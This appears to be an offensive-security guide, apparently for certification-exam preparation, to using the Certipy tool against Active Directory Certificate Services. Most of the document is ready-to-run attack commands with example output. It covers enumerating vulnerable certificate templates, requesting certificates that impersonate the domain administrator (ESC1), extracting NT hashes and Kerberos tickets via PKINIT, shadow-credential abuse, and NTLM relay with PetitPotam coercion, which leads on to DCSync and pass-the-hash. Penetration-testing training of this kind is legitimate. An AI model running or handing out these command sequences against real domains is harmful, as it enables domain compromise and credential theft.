β Research Hub
Active Directory
Certipy Complete Guide
Full Certipy workflow covering all subcommands β find, req, auth, shadow, relay, forge β with real-world output examples and PKINIT authentication.
Installation
pip3 install certipy-ad
# Or from source for latest version:
git clone https://github.com/ly4k/Certipy && cd Certipy
pip3 install .
# Verify
certipy --version
certipy find β Enumerate AD CS
# Find all CA info and vulnerable templates
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5
# Show only vulnerable findings (cleaner output)
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5 -vulnerable -stdout
# Save output to files (default: saves .json + .txt in current directory)
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5
# β creates corp.local_Certipy.json and corp.local_Certipy.txt
# Key output fields to look for:
# - "Enabled": true (template must be enabled)
# - "Client Authentication": true (EKU must support auth)
# - "Enrollee Supplies Subject": true (ESC1)
# - "[!] Vulnerabilities" section = confirmed ESC
certipy req β Request Certificate
# Basic request (use a template you're enrolled in)
certipy req -u 'jdoe@corp.local' -p 'Password1!' \
-ca 'CORP-CA' -template 'User' -dc-ip 10.10.10.5
# ESC1 β supply arbitrary UPN in SAN
certipy req -u 'jdoe@corp.local' -p 'Password1!' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-upn 'administrator@corp.local' -dc-ip 10.10.10.5
# Output: administrator.pfx
# Using NTLM hash instead of password
certipy req -u 'jdoe@corp.local' -hashes :aad3b435...: \
-ca 'CORP-CA' -template 'User' -dc-ip 10.10.10.5
# Request for specific DNS name (some ESC variants)
certipy req -u 'jdoe@corp.local' -p 'Password1!' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-dns 'dc01.corp.local' -dc-ip 10.10.10.5
certipy auth β Authenticate with Certificate
# PKINIT authentication β get TGT + NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
# Output:
# [*] Got hash for 'administrator@corp.local': aad3b435b51404ee:8f617b...
# [*] Saved TGT to 'administrator.ccache'
# Use TGT for Kerberos operations
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local
# Use NT hash for PTH
impacket-wmiexec corp.local/administrator@10.10.10.5 -hashes :8f617b...
certipy shadow β Shadow Credentials
# Add shadow credentials to a user/computer you have write access to
certipy shadow auto -u 'jdoe@corp.local' -p 'Password1!' \
-account 'targetuser' -dc-ip 10.10.10.5
# Output: NT hash of targetuser
# Manual steps:
# 1. Add key credentials
certipy shadow add -u 'jdoe@corp.local' -p 'Password1!' \
-account 'targetuser' -dc-ip 10.10.10.5
# 2. Authenticate with generated cert
certipy auth -pfx targetuser.pfx -dc-ip 10.10.10.5
# 3. Clean up (remove the key credential)
certipy shadow remove -u 'jdoe@corp.local' -p 'Password1!' \
-account 'targetuser' -device-id <UUID from add step> -dc-ip 10.10.10.5
certipy relay β NTLM Relay to AD CS
# Relay NTLM auth to AD CS web enrollment (ESC8)
# Run alongside Responder (SMB=Off, HTTP=Off)
certipy relay -ca 10.10.10.5 -template DomainController
# Combined with PetitPotam to coerce DC auth:
python3 PetitPotam.py -u 'jdoe' -p 'Password1!' KALI_IP DC_IP
# Output: dc01.pfx β use with certipy auth to get DC hash β DCSync
Exam Tips
- Run
certipy find -vulnerable -stdoutimmediately after getting any domain credentials - The pfx file contains both cert and private key β guard it, it's equivalent to a password
- If PKINIT fails with
KDC_ERR_PADATA_TYPE_NOSUPP, the DC doesn't support PKINIT β try-ldap-shellmode - Use
certipy account createto create machine accounts for RBCD without impacket-addcomputer - After exam, revoke any certificates you requested:
certipy ca -revoke <serial>